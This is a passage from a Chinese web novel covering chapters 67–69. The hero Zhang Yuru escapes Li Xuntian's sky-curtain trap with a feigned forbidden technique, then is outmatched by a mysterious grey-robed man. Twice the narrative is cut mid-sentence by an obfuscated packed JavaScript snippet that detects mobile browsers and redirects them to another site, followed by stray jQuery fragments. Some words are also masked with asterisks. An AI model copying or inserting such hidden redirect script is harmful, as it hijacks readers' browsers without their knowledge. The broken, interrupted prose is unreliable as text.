更可怕的是,丝线中还蕴含着「空间凝滞」的力量,张玉汝能清晰地感觉到,自己的身体速度正在快速下降,「加速世界」的效果被不断压制。 他试图催动「颠倒」之力逆转丝线的轨迹,却发现丝线的能量轨迹异常诡异,仿佛不存在固定的运动方向,根本无法逆转。 “张玉汝,你以为破开那些小把戏,就能赢了吗?”李巡天的声音从天幕中传来,带着戏谑的嘲讽。 “刚才的分身和攻击,不过是用来让你暴露能力、消耗体力的诱饵罢了。这「天幕枷锁」,才是真正能取你性命的杀招!” 张玉汝的身体被能量丝线越缠越紧,黑白二色的光晕在丝线下不断闪烁,却始终无法挣脱束缚。 他抬头望向那片诡异的天幕,黑白杂糅的「造化之眼」疯狂运转,试图找到「天幕枷锁」的破绽,可眼前的能量丝线如同活物般不断变化,根本没有固定的运动轨迹可言。 他心中明白,自己这次,是真的陷入了李巡天精心设计的死局之中。 黑色的“天幕枷锁”如同有生命的藤蔓,紧紧缠绕在张玉汝四肢上,丝线中蕴含的“空间凝滞”之力不断侵蚀着他的身体,连「加速世界」带来的迅捷加持都在被一点点消解。 他能清晰地感觉到,四肢的活动范围越来越小,体内的能量流转也开始变得滞涩,黑白二色的光晕在丝线下忽明忽暗,像是风中摇曳的烛火。 张玉汝没有慌乱,反而强迫自己冷静下来。 他缓缓闭上双眼,再睁开时,混沌之色瞬间铺满眼底——「造化之眼」再次全力运转,这一次,他的目光不再局限于枷锁表面,而是穿透丝线,试图捕捉其能量流动的轨迹。 在混沌色的视野里,丝线中的能量如同蜿蜒的黑色溪流,不断循环流动。 可诡异的是,这些能量流没有固定的起点与终点,仿佛在一个封闭的环中无休止地运转,根本找不到可切入的破绽。 “没有固定轨迹……难道只能硬抗?”张玉汝的思维在「加速世界」的加持下飞速运转,无数念头在脑海中碰撞。 他尝试催动「颠倒」之力,可当黑白二色的符文触碰到丝线时,却如同石沉大海,根本无法逆转能量流的方向。 紧接着,他又动用「颠倒世界」,试图延缓丝线的收缩速度,可丝线仿佛不受时间影响,依旧以稳定的节奏不断收紧,勒得他骨骼发出轻微的“咯吱”声。 体内的气血开始翻涌,张玉汝知道不能再拖延下去。 他深吸一口气,将剩余的能量全部汇聚到心脏位置,随后猛地催动「刹那」之力——黑白二色的能量瞬间爆发,将身体周围的空间震得微微扭曲。 这股爆发性的力量短暂地撑开了缠绕的丝线,为他争取到了一丝喘息的机会。 趁着这短暂的间隙,张玉汝的「造化之眼」再次捕捉到了一丝异常:在每根丝线的交汇处,能量流会出现一次极其微弱的波动,虽然转瞬即逝,却真实存在。 他心中一动,立刻调整能量运转的方式,不再试图逆转或延缓整个枷锁,而是将「颠倒」之力凝聚成细小的黑白光点,精准地投向那些丝线交汇处。 “砰!砰!砰!”一连串细微的**声响起,黑白光点在丝线交汇处炸开,虽然没能彻底斩断丝线,却成功扰乱了能量流的循环。原本稳定收缩的丝线出现了短暂的停滞,「空间凝滞」的效果也随之减弱了几分。 张玉汝抓住这个机会,再次催动「加速世界」,身体化作一道黑白残影,试图从丝线的间隙中挣脱。 可就在他即将冲出枷锁范围的刹那,天幕突然传来一股更加强大的吸力,无数道新的黑色丝线从虚空中涌现,如同潮水般将他重新包裹。 这一次,丝线中不仅蕴含着「空间凝滞」之力,还夹杂着一股灼热的能量,开始灼烧他的皮肤,黑白二色的光晕在灼烧下变得越来越暗淡。 张玉汝的嘴角溢出一丝血迹,可他的眼神依旧坚定。他知道,李巡天的后手远比想象中更加强大,但他绝不会就此放弃。 他再次运转「造化之眼」,黑白杂糅的视野中,新的能量轨迹正在不断生成,而他的脑海里,一个更加大胆的破局方案,正在悄然成型…… 黑色丝线如同烧红的烙铁,紧紧缠在张玉汝的四肢上,细密的灼痛感顺着皮肤纹理钻进去,像无数根带火的针,一下下刺向他的神经末梢。 每一次丝线收缩,灼烧感都会加剧几分,皮肤表面已泛起焦黑,连空气中都弥漫着淡淡的焦糊味。 他忍不住闷哼一声,胸口剧烈起伏,呼吸变得又粗又急,像是被扼住喉咙的困兽,每一次吸气都带着撕裂般的疼。 周身的黑白二色光晕早已黯淡到近乎透明,原本流转的能量像是快要熄灭的烛火,在丝线的压制下忽明忽暗。 可若是有人凑近看,便会发现他眼底深处,非但没有绝望,反而突然燃起一簇决绝的火焰——那火焰里藏着冷静的算计,藏着破局的希望,绝非困兽犹斗的疯狂。 张玉汝缓缓抬起头,目光穿透漫天黑色丝线,死死锁定天幕中那团不断翻腾的黑色能量——那是李巡天力量汇聚的核心,也是他这场骗局的关键目标。 随着视线聚焦,他周身的能量突然开始以一种近乎狂暴的姿态涌动,黑白二色光晕不再是温和的流转,而是如同沸腾的开水般剧烈翻滚,甚至有细碎的能量粒子从光晕边缘剥落,落在虚空中发出“滋滋”的轻响。 “李巡天!你以为凭这点手段就能困死我?”张玉汝刻意放大了声音,让嘶哑感顺着气流扩散开,每一个字都带着被逼到绝境的狠厉,像是要拼尽最后一丝力气。 “今日就算同归于尽,我也要拉你一起付出代价!” 他知道,李巡天作为天人,最忌惮的就是“鱼死网破”——天人看重本源胜过一切,绝不会为了杀他一个宗师,赌上自己的根基。 话音未落,张玉汝猛地将双手举过头顶,掌心向上摊开,黑白杂糅的混沌色突然从他身体的每一个毛孔里疯狂溢出,像是被捅破的堤坝,顺着手臂快速蔓延,最终在指尖汇聚成一团旋转的混沌能量球。 这股能量比之前任何一次都要汹涌,却又带着一种刻意为之的“不稳定”,仿佛随时都会炸开。 更令人心悸的变化在他脸上浮现:黑色的纹路如同蛛网般从眼角快速爬开,顺着脸颊蔓延到脖颈,纹路所过之处,皮肤失去了血色,变得干枯而灰暗。 这是他动用「枯荣」之力制造的假象——并非真的燃烧本源,却精准模拟出了本源受损时的衰败气息,连周身的能量波动都带上了一丝“即将溃散”的虚弱感。 他甚至故意让身体微微颤抖,肩膀垮下来,营造出“强撑着催动禁招”的狼狈模样。 紧接着,张玉汝指尖的混沌能量突然变了颜色,一缕灰黑色的能量从中分离出来,如同腐烂的藤蔓,在空中缓缓扭曲、缠绕,最终形成一个残缺的五芒形状。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688343|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>那能量里带着令人毛骨悚然的死寂感,仿佛能吞噬世间一切生机,连周围的虚空都因这股气息而变得凝滞——这正是「天人五衰」初现时的标志性能量波动。 他没有真正催动这招,却将能量频率调整到与「天人五衰」完全一致,甚至特意在灰黑色能量中混入了一丝自己的本源气息,让这假象足以以假乱真。 “张玉汝!你疯了?!”天幕中瞬间传来李巡天惊怒交加的声音,那声音里带着难以掩饰的慌乱,再也没有之前的从容。 作为天人,他对「天人五衰」的忌惮早已刻进骨髓——这招专门针对天人本源,一旦被波及,即便能保住性命,本源也会遭受难以逆转的损伤。 他是天人李家的支柱,若是本源受损,李家在异能界的地位必然动摇,其他天人家族就会像闻到血腥味的鲨鱼,立刻扑上来瓜分李家的资源、地盘,到时候他就算活着,也只能眼睁睁看着李家衰落,自己沦为笑柄。 这些念头在李巡天脑海中飞速闪过,权衡利弊的瞬间,他下意识地操控天幕能量向后退避——哪怕只是万分之一的风险,他也不愿承担。 原本紧贴着张玉汝皮肤的“天幕枷锁”随之松动,黑色丝线微微绷紧后,竟缓缓向后收缩,与张玉汝拉开了数丈的距离。 感受到丝线的松动,张玉汝的嘴角勾起一抹极淡的、无人察觉的弧度,快得如同错觉。 他表面上依旧维持着“拼命催动禁招”的姿态,指尖的灰黑色能量愈发浓郁,甚至故意让身体因“本源燃烧”而剧烈颤抖,肩膀抖得像是要散架,连呼吸都变得断断续续,以此牢牢吸引李巡天的注意力。 他知道,此刻李巡天的目光一定死死盯着自己的指尖,绝不会有半分松懈。 而在李巡天看不到的角度——张玉汝垂在身侧的左手,正悄然凝聚着一丝微弱到近乎透明的黑白二色能量。 为了掩盖这丝能量的波动,他先是动用「永恒」之力,将左手周围的空气流动短暂静止,让能量粒子的震颤被牢牢锁在极小的范围内;再借着身体剧烈颤抖的掩护,让左手的细微动作融入整体的抖动中,看上去就像是本能的抽搐。 随后,他指尖轻轻一弹,那丝能量如同尘埃般落在脚下的虚空中,悄无声息地渗入空间缝隙里。 融身自然的效果瞬间发动。张玉汝能清晰地感觉到,自己的身体正在与周围的天地能量缓慢融合——皮肤的触感逐渐模糊,四肢的轮廓开始变得透明,连体内能量的流转频率,都在他的刻意控制下,调整到与虚空能量完全一致。 为了保险起见,他又催动「颠倒世界」,将体表气息的扩散速度延缓了九成,让自己的“变化痕迹”彻底融入虚空的能量波动中,就像是一滴水汇入大海,再也找不到踪迹。 与此同时,他暗中运转「世界」领域,在身体周围构建出一个直径不足半米的微型透明领域。 领域之内,能量流动被彻底打乱,「融身自然」的效果被大幅加强,哪怕李巡天动用天幕的感知力仔细探查,也无法穿透这层薄薄的领域,察觉到领域内的能量异常。 此刻的李巡天,注意力完全被张玉汝指尖的“天人五衰”能量吸引。 他悬浮在天幕核心,眉头紧锁,眼神中满是警惕与犹豫——强行出手打断,怕被张玉汝抓住机会同归于尽;放任不管,又担心对方真的不顾一切催动禁招。 他甚至在脑海中快速计算着撤退路线,想着若是情况不对,就立刻切断与分身的联系,保住自己的本源。 可**,自己紧盯的“张玉汝”,早已不是真正的本体——那不过是张玉汝用残留能量凝聚的虚影,维持着“催动禁招”的姿态,继续演着这场骗局。 真正的张玉汝,此刻正借着「融身自然」与微型「世界」领域的掩护,如同融入水中的墨滴,悄无声息地向着天幕边缘移动。 他的每一步都走得极轻、极慢,脚尖点在虚空上时,甚至不会激起一丝能量涟漪。 思维在「加速世界」的加持下飞速运转,每一秒都在分析李巡天的能量轨迹——天幕能量的流动方向、丝线的收缩频率、分身的注意力焦点,这些信息在他脑海中快速整合,确保自己的移动不会触发任何警戒。 「造化之眼」始终保持着运转,黑白杂糅的视野里,天幕的每一丝能量波动都清晰可见。 他能看到李巡天的能量还在微微颤抖,显然还在为“是否出手”而纠结;能看到黑色丝线依旧紧绷,却因失去本体的牵制,变得有些迟钝。 张玉汝深吸一口气,继续压低身体,像一只潜伏在黑暗中的猎手,一步步远离那片被天幕笼罩的致命区域。 天幕依旧遮蔽着天空,黑色丝线还在虚空中漂浮,李巡天仍在为眼前的“困局”犹豫不定。 可他永远不会知道,就在自己因忌惮而退避的那一瞬间,那个他以为已成囊中之物的“猎物”,早已用一场精心编织的骗局,从他的眼皮底下,悄然逃离了这看似无解的生死困局…… 第 68章 恐怖 李巡天悬浮在天幕核心,目光死死锁定着下方“张玉汝”指尖的灰黑色能量,指尖不自觉地攥紧。 刚才那一瞬间的慌乱早已褪去,取而代之的是大宗师特有的冷静与谨慎——他绝不会被对方的“拼命姿态”轻易迷惑,更不会贸然靠近,给张玉汝同归于尽的机会。 “想靠「天人五衰」逼我让步?太天真了。”李巡天在心中冷笑,眼底闪过一丝不屑。 他缓缓抬起右手,指尖凝聚出一缕黑色的天幕能量,这缕能量如同纤细的探针,缓缓向着“张玉汝”的方向延伸。 他没有选择直接攻击,而是打算先逐层拨开对方的力量,摸清虚实——作为活了数百年的天人,他最擅长的就是以稳妥的方式消耗对手,时间永远站在他这一边。 黑色探针先是触及“张玉汝”周身的黑白光晕,在接触的瞬间,李巡天便敏锐地察觉到,这层光晕虽然看似狂暴,实则能量流转异常紊乱,甚至带着一丝“刻意维持”的僵硬感。 “果然有问题。”他心中暗道,却没有立刻戳破,反而继续操控探针,一点点渗入光晕内部。 探针在光晕中缓慢游走,如同在雷区中试探的工兵。 李巡天能清晰地感知到,光晕之下,“张玉汝”的本源气息确实在不断衰败,黑色的枯荣纹路也带着真实的能量波动,可这种衰败速度,却比真正燃烧本源时慢了几分——像是刻意放慢了节奏,生怕自己太快倒下。 “是想拖延时间?还是在等什么机会?”李巡天眉头微挑,心中的疑虑更深。 他没有停下探查的脚步,反而加大了探针的数量,数十缕黑色能量如同蛛网般铺开,从不同角度包围“张玉汝”,逐层拆解他的力量防御。 首先被突破的是外层的黑白光晕。在探针的侵蚀下,本就黯淡的光晕如同被戳破的气泡,快速消散,露出“张玉汝”略显狼狈的身形——他的脸色苍白如纸,嘴角挂着血迹,身体还在不断颤抖,看上去随时都会支撑不住。 可李巡天的眼神却愈发锐利,他注意到,“张玉汝”的颤抖频率异常均匀,不像是本源燃烧的失控反应,反而更像是刻意模仿的本能动作。 紧接着,探针触及到那缕灰黑色的“天人五衰”能量。 就在接触的瞬间,李巡天的心脏猛地一缩——那股死寂的气息太过真实,甚至带着一丝张玉汝的本源印记,让他不得不再次警惕。 可他很快发现,这缕能量虽然波动逼真,却始终停留在“初现”阶段,没有进一步凝聚的迹象,像是被冻结在了某个瞬间。 “原来是虚张声势。”李巡天心中了然,紧绷的神经稍稍放松。 他断定,张玉汝根本没有勇气真正催动「天人五衰」与自己同归于尽,只是想靠这招逼他后退,为自己争取喘息的时间。 既然如此,他更没有必要着急,只需慢慢消耗,等到对方能量耗尽,自然会任他宰割。 李巡天操控天幕能量,将“张玉汝”周围的空间彻底封锁。 黑色的丝线虽然没有再次收紧,却在他周围织成了一张更密的网,每一根丝线上都蕴含着微弱的吞噬之力,缓慢吸收着“张玉汝”逸散的能量。 “张玉汝,别再装了。”他的声音透过天幕传来,带着一丝嘲讽,“你的底牌我已经摸清了,继续硬撑下去,只会让自己死得更痛苦。” 他一边说着,一边继续用探针探查“张玉汝”的状态。 探针反馈的信息始终一致:对方的能量在缓慢流失,本源气息持续衰败,却没有任何要爆发的迹象。 李巡天越发笃定,自己的判断没有错——张玉汝只是在强撑,只要再等一段时间,等他彻底失去反抗能力,这场战斗就会结束。 更重要的是,他能清晰地感知到,秦戍的注意力还在前线的异兽战场上,没有丝毫向这边偏移的迹象。 只要秦戍不发现他私用力量对付张玉汝,他就有足够的时间磨死对方。 “反正异兽一时半会儿攻不破防线,多等片刻又何妨?”李巡天在心中盘算着,甚至开始思考,等解决了张玉汝,该如何向秦戍解释天幕能量的异常——或许可以说是为了加固防线,预防异兽突袭。 他的目光再次落在“张玉汝”身上,看着对方依旧维持着“催动禁招”的姿态,指尖的灰黑色能量却没有丝毫变化,忍不住嗤笑一声:“还在演?那就继续演下去吧,我有的是时间陪你耗。” 李巡天调整了天幕能量的运转方式,将吞噬之力放缓,确保“张玉汝”不会太快倒下,却也无法恢复体力。 他要一点点消磨对方的意志,让他在绝望中放弃抵抗,最终沦为自己的手下亡魂。 在他看来,这场战斗的胜负早已注定,时间是他最有利的武器,而张玉汝的所有挣扎,不过是困兽犹斗的徒劳罢了。 他从未想过,自己眼前的“张玉汝”早已是一具空壳,那逼真的衰败气息、刻意的颤抖动作,全都是对方精心设计的骗局。 真正的猎物,早已借着他谨慎探查的间隙,悄然逃离了他的掌控,而他还在为自己的“稳妥战术”沾沾自喜。 张玉汝借着「融身自然」与微型「世界」领域的掩护,如同穿梭在墨色中的幽灵,悄无声息地滑过天幕边缘。 当双脚终于踏上坚实的地面时,他才暗自松了口气,紧绷的神经稍稍舒缓。 身后那片笼罩天空的黑色天幕依旧存在,李巡天还在其中打着“稳扎稳打磨死对手”的算盘,却不知真正的目标早已逃出生天。 他低头看了看掌心残留的黑白二色能量,刚才为了维持虚影的“燃烧本源”假象,消耗了不少体力,此刻指尖还残留着能量微微颤抖。 但他没有丝毫停留,目光投向远方战场——那里嘶吼声、**声此起彼伏,无数异兽如同黑色的潮水,正疯狂冲击着人类的防线,那是这片战场上异兽最为密集的区域。 “与其和李巡天这种老谋深算的能力者勾心斗角,不如去和异兽拼杀。”张玉汝在心中低语。 和能力者之间的算计相比,与异兽的战斗反而简单直接得多——没有层出不穷的阴谋,没有虚虚实实的陷阱,只需凭借实力硬碰硬,每一次挥拳、每一次催动能力,都是为了生存,无需提防背后的冷箭。 虽然置身兽群之中危机四伏,随时可能被异兽撕碎,但这种纯粹的战斗,反而让他紧绷的神经能得到一丝喘息。 他深吸一口气,催动「加速世界」,身体化作一道黑白交织的残影,朝着异兽密集区快速奔去。 沿途偶尔有几只漏网的异兽扑来,他都凭借敏锐的反应与利落的动作轻松解决——黑白二色能量凝聚的短刃划过异兽的喉咙,干净利落,没有丝毫拖泥带水。 他的速度越来越快,距离天幕区域越来越远,心中也逐渐生出一丝安全感,似乎很快就能投入到那场“简单”的战斗中。 可就在他即将踏入异兽群外围,能清晰看到前方巨大异兽的狰狞獠牙时,一道人影毫无征兆地出现在他面前,如同凭空出现的幻影,挡住了他的去路。 张玉汝猛地停下脚步,心脏瞬间提到了嗓子眼。 他瞳孔骤缩,紧紧盯着眼前的人——那人身材单薄,穿着一身朴素的灰色长袍,看上去弱不禁风,仿佛一阵风就能吹倒。 可不知为何,当张玉汝看向他时,却感觉像是面对着一座巍峨耸立的山岳,一股难以言喻的压迫感从对方身上散发出来,让他连呼吸都变得困难。那是一种远超李巡天的气息,纯净而磅礴,仿佛蕴含着天地间最本源的力量。 “你是谁?”张玉汝沉声问道。 他下意识地将体内的能量运转到极致,黑白二色光晕在周身快速凝聚。 「造化之眼」悄然睁开,黑白杂糅的混沌色铺满眼底,警惕地观察着对方的一举一动;「颠倒」「永恒」「刹那」等能力也全部蓄势待发,只要对方有任何异动,他就能在瞬间发动反击。 然而,面对张玉汝的严阵以待,那人只是微微抬起头,露出一张平淡无奇的脸,眼神平静得如同深不见底的湖水。 他没有回答张玉汝的问题,只是轻轻抬起右手,对着张玉汝的方向随意挥了挥。 这一挥手的动作极其缓慢,没有任何能量波动,看上去毫无威胁。 可就在他的手掌落下的瞬间,张玉汝突然感觉到体内的能量像是被按下了暂停键,原本在周身流转的黑白二色光晕瞬间消散,凝聚在指尖的能量短刃也化作点点光屑,消失得无影无踪。 他试图催动「加速世界」后退,却发现身体像是被钉在了原地,连移动一根手指都做不到;「造化之眼」的混沌色视野也瞬间褪去,恢复了正常的视觉;那些早已蓄势待发的能力,此刻如同石沉大海,无论他如何调动,都无法引发丝毫反应。 张玉汝的脸色瞬间变得苍白起来,一股寒意从脚底直冲天灵盖。 他从未遇到过这种情况——有人能如此轻易地化解他的所有能力,甚至让他连反抗的余地都没有。 他看着眼前那道单薄却如山岳般巍峨的身影,心中充满了震惊与疑惑:这个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694641|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底是谁?他为什么要拦住自己?是敌是友?无数个问题在他脑海中翻腾,可他却连开口询问的力气都仿佛被剥夺了…… “不行,绝对不能坐以待毙!无法使用能力,就依靠身体!” 能力被瞬间封禁的恐慌只在张玉汝心头停留了一瞬,他很快便强迫自己冷静下来——从踏上这条道路的那天起,他就从未将所有希望寄托在能力上。 此刻体内能量如死水般沉寂,但潜藏在血肉中的力量,却在绝境中开始沸腾。 他双脚猛地蹬地,地面瞬间裂开数道蛛网状的裂痕,碎石在巨力作用下飞溅而起。 借助这股反冲力,张玉汝的身体如同离弦之箭般向前冲去,空气中留下一道短暂的残影——即便没有「加速世界」的加持,他常年淬炼的肉身,也足以让他拥有远超普通宗师的速度。 要知道,为了应对能力被封禁的极端情况,张玉汝从未放松过肉身训练。 他的骨骼经过能量反复淬炼,比合金还要坚硬;肌肉纤维如同拧成的钢索,能爆发出撕裂猛虎的力量。 在同级别能力者中,除了专精肉身的力量类宗师,几乎无人能在正面碰撞中与他抗衡。 只是平日里,他那逆天的能力太过耀眼,才让这份强悍的肉身实力被掩盖,连他自己都很少有机会动用。 但此刻,这份被遗忘的力量,成了他唯一的依仗。 距离神秘人还有三步之遥时,张玉汝的右拳猛地收紧,指节因发力而泛白,手臂上的肌肉瞬间隆起,暴起的青筋如同虬龙般缠绕在皮肤表面。 他没有任何花哨的技巧,只凭纯粹的肉身力量,将拳头朝着神秘人胸口狠狠递出——这一拳凝聚了他全身的爆发力,拳风呼啸,甚至将周围的空气都压缩得发出“嗡鸣”声,威力丝毫不逊色于他动用「刹那」之力的全力一击。 在拳头即将触及对方胸膛的瞬间,张玉汝甚至能看到神秘人灰色长袍上的细微纹路,能感受到对方平稳的呼吸。 他心中闪过一丝期待——或许这一拳能逼对方露出破绽,哪怕只是让对方后退一步,也能为自己争取到喘息的机会。 可下一秒,现实便给了他沉重一击。 面对这足以轰碎巨石的一拳,神秘人只是随意地抬起了右手。 他的动作缓慢而轻柔,仿佛只是抬手拂去衣角的灰尘,没有任何力量爆发的迹象,甚至连手臂上的肌肉都没有丝毫紧绷。 “砰!” 拳掌相撞的瞬间,没有想象中惊天动地的碰撞声,只有一声沉闷的轻响。 张玉汝只觉得一股温和却坚不可摧的力量从对方掌心传来,如同撞上了巍峨的山岳,他那势如破竹的一拳,竟被这只看似瘦弱的手掌稳稳接住,再难前进半分。 更让他心惊的是,这股力量没有丝毫反噬,却像一个无底洞,将他拳头上的爆发力彻底吞噬。 他能清晰地感觉到,自己凝聚的所有力量,在接触到对方掌心的瞬间,便如同水流汇入大海,悄无声息地消失不见,连让对方手臂晃动一下的迹象都没有。 “不错,有点意思。” 神秘人轻笑着开口,声音平和得像是在闲聊,没有丝毫波澜。 他甚至还微微点头,眼神中带着一丝赞许:“恐怕大部分力量类宗师,都打不出这一拳的力道。” 张玉汝的心脏沉到了谷底。他能听出对方语气中的真诚,没有嘲讽,没有轻视,只有纯粹的评价。 可正是这份平和,让他更加警惕——能如此轻描淡写地接下自己的全力一拳,甚至还能从容评价,对方的实力早已超出了他的认知,绝对是能轻易取他性命的存在。 他没有收回拳头,手臂依旧保持着发力的姿态,肌肉因持续紧绷而微微颤抖。 冷汗顺着他的额角滑落,滴在地面上,晕开一小片湿痕。 他死死盯着神秘人平静的双眼,试图从中找到一丝情绪波动,可对方的眼神就像深不见底的古井,始终波澜不惊。 “你到底是谁?”张玉汝再次开口,声音比之前更加沙哑,却带着不容置疑的坚定。 即便知道双方实力悬殊,他也绝不会放弃寻找生机,对于这种能轻易威胁到自己生命的存在,再怎么警惕都不为过。 神秘人看着他紧绷的姿态,嘴角的笑意更深了几分。 他没有回答张玉汝的问题,只是轻轻抬起了左手,朝着张玉汝的肩膀缓缓按去——那动作依旧缓慢,却让张玉汝感受到了比刚才那一拳时更强烈的压迫感,仿佛这只手按下的瞬间,他的整个身体都会被碾碎。 第 69章 老友 看着那只缓缓按来的左手,张玉汝的汗**瞬间倒竖,一股强烈的死亡预感如同冰冷的毒蛇,缠绕住他的心脏。 那只手看似轻描淡写,没有任何能量波动,可在他的感知里,却像是一座即将崩塌的山岳,带着毁天灭地的威压。 他敢肯定,只要被这一击命中,自己的肩膀定会瞬间粉碎,骨骼碎片甚至会刺穿内脏,届时必然身负重伤,失去所有反抗能力。 “不能被击中!绝对不能!”张玉汝在心中嘶吼,全身的神经都紧绷到了极致。 他试图向后撤退,可身体却像是被无形的枷锁束缚,只能在原地艰难地挪动分毫。 神秘人掌心传来的压力越来越强,周围的空间仿佛都被凝固,压得他胸口发闷,几乎喘不过气来。 绝境之中,张玉汝的眼神反而变得愈发炽热。 他猛地咬紧牙关,舌尖被牙齿咬出血来,血腥味在口腔中弥漫开来,刺激着他的神经。 他开始疯狂地压榨自己的身体,调动每一寸肌肉、每一滴血液中潜藏的力量——手臂上的青筋暴起得更加狰狞,肌肉纤维因过度发力而发出细微的“咯吱”声,仿佛随时都会断裂。 更令人震惊的是,在他的强行催动下,原本在神秘人能力影响下销声匿迹的能量,竟开始在体内重新凝聚。 那些沉寂的黑白二色能量粒子,如同被唤醒的沉睡火山,在他的经脉中剧烈翻腾,不断冲击着神秘人施加的能量封锁。 起初,能量的凝聚极其微弱,如同风中残烛,随时都会熄灭,可随着张玉汝意志的不断强化,能量越来越旺盛,逐渐在他的丹田处汇聚成一团小小的光球。 张玉汝心中既震惊又狂喜。 他很清楚,神秘人的封锁何等强大,原本他绝无可能突破,可在生死危机的刺激下,他竟然做到了这件“不可能”的事情——能量不仅重新凝聚,甚至还在不断冲击着封锁,试图挣脱束缚。 神秘人看着张玉汝体内重新亮起的黑白光晕,眼中闪过一丝讶异,按压的动作微微一顿,似乎也没想到这个年轻人竟能在自己的压制下**。 可他的手并未停下,依旧朝着张玉汝的肩膀按去,只是速度比之前快了几分。 就是这短暂的停顿,给了张玉汝机会。 “来——!”张玉汝发出一声震耳欲聋的怒吼,将体内重新凝聚的能量与肉身力量彻底融合。 黑白二色的光晕瞬间包裹住他的右拳,拳头上的能量波动越来越狂暴,甚至开始撕裂周围的空气,形成一道道细小的空间裂缝。 他知道,这一击之后,自己的肉体必然会因承受不住能量与力量的双重冲击而崩溃,但他已经没有退路,只能孤注一掷。 “接我这一拳!” 张玉汝猛地扭转身体,将全身的力量与能量都灌注到右拳之上,对着神秘人按来的左手狠狠轰去。 这一拳不再是纯粹的肉身攻击,也不是单纯的能量爆发,而是肉体与能力的极致融合。 拳头上的黑白光晕疯狂闪烁,每一寸肌肉都在燃烧,甚至连他的皮肤都开始出现细小的裂纹,鲜血从裂纹中渗出,染红了他的拳头。 这一拳的速度快到了极致,带着撕裂苍穹的气势,拳风呼啸,仿佛要将眼前的一切都击碎。 拳头上蕴含的力量与能量相互交织,形成一股毁灭性的洪流,连神秘人周围的空间都开始扭曲、震荡。 可就在这记足以重创普通大宗师的拳法即将与神秘人左手相撞的瞬间,张玉汝的身体突然传来一阵剧烈的疼痛。 他的右臂肌肉开始大面积崩溃,皮肤、肌肉、甚至骨骼都在能量与力量的反噬下出现裂痕,鲜血如同喷泉般从伤口中涌出,染红了他的衣袖。 这记拳法的威力太过强大,早已超出了他肉身所能承受的极限,即便打出这一拳,他自身也会付出惨痛的代价。 神秘人看着这记带着毁灭气息的拳头,眼中的讶异更浓,原本平和的眼神中终于多了一丝认真。 他没有再像之前那样随意应对,而是微微调整了左手的姿势,掌心对着张玉汝的拳头,似乎打算正面接下这一击。 拳掌相撞的瞬间,没有预想中能量**的轰鸣,却有一股远超之前的力量冲击波向四周扩散。 张玉汝那裹挟着肉身极限与能量爆发的一拳,狠狠砸在神秘人摊开的左掌上,黑白二色的能量如同沸腾的岩浆,在两人接触点疯狂涌动,甚至将周围的空气撕裂出一道道细密的空间裂隙。 张玉汝能清晰地感觉到,自己这一拳的力量没有像上次那样被轻易吞噬。 拳头上的能量与肌肉爆发力如同奔涌的江河,顺着对方的掌心逆流而上,他甚至能看到神秘人灰色长袍的袖口被气流掀起,露出的手腕处隐约泛起一丝淡金色的光晕——那是对方在主动运转力量,用以抵消他这一拳的冲击。 这一次,神秘人没有再保持之前的云淡风轻。 在拳头触及掌心的刹那,他原本平稳的身形微微一滞,紧接着便不受控制地向后退去。 一步、两步、三步——每一步踏在地面上,都会留下一个浅坑,碎石在脚下簌簌作响。 直到后退三步后,他才缓缓稳住身形,左手微微下垂,掌心对着地面,似乎在平复体内涌动的力量。 过了片刻,他抬起头,对着张玉汝缓缓吐出一口浊气,那口气中竟带着一丝淡淡的白色雾气,显然是刚才硬接那一拳时,体内气息出现了短暂的紊乱。 “好小子,的确有些本事。” 神秘人的声音不再像之前那样平和无波,反而多了几分真切的赞叹,他看着张玉汝的眼神里,除了最初的审视,还多了一丝不易察觉的欣赏。 “能在我的压制下突破能量封锁,还能打出这样一拳,就算是那些老牌大宗师,也未必能做到。” 可这番赞叹落在张玉汝耳中,却比任何嘲讽都更让他心头发冷。 他保持着出拳的姿势僵在原地,右臂的疼痛早已超出了忍受的极限——肌肉崩裂的剧痛顺着神经蔓延至全身,骨骼发出的“咯吱”声仿佛就在耳边,鲜血顺着拳头不断滴落,在地面上积成一滩小小的血洼。 黑白二色的能量在拳头上快速黯淡,如同燃尽的烛火,很快便消散得无影无踪,只留下体内经脉传来的灼烧感,提醒着他刚才那记“燃烧肉体”的拳法,已经耗尽了他最后一丝力气。 他死死盯着神秘人——对方除了后退三步、吐了口浊气,竟没有任何其他异样。 灰色的长袍依旧整洁,掌心没有丝毫伤痕,甚至连呼吸都只是短暂紊乱后便恢复平稳。 自己拼尽一切、赌上肉体崩溃的代价打出的一拳,最终只换来了对方的三步后退与一句赞叹,连让对方受点轻伤都做不到。 张玉汝的声音沙哑得几乎听不清,嘴角不受控制地颤抖着。他的视线开始有些模糊,身体因脱力而微微摇晃,只能靠着残存的意志勉强支撑着不倒下。 刚才出拳时的期待还在脑海中回荡——他曾以为,这记突破极限的一拳就算无法重创对方,至少也能让对方露出破绽,为自己争取一线生机。 可现实却给了他最沉重的一击:这已经是他能拿出的全部力量了,是他在生死边缘压榨出的最后潜能,却依旧无法对对方造成任何实质性损伤。 这种“竭尽全力却仍如蚍蜉撼树”的无力感,比之前被李巡天困在天幕中时更加绝望。 那时他至少还有破局的计策,还有逆转的可能。 可现在,他连最后一丝反抗的力气都已耗尽,面对这个能轻易接下自己全力一击的神秘人,他就像砧板上的鱼肉,连挣扎的资格都没有。 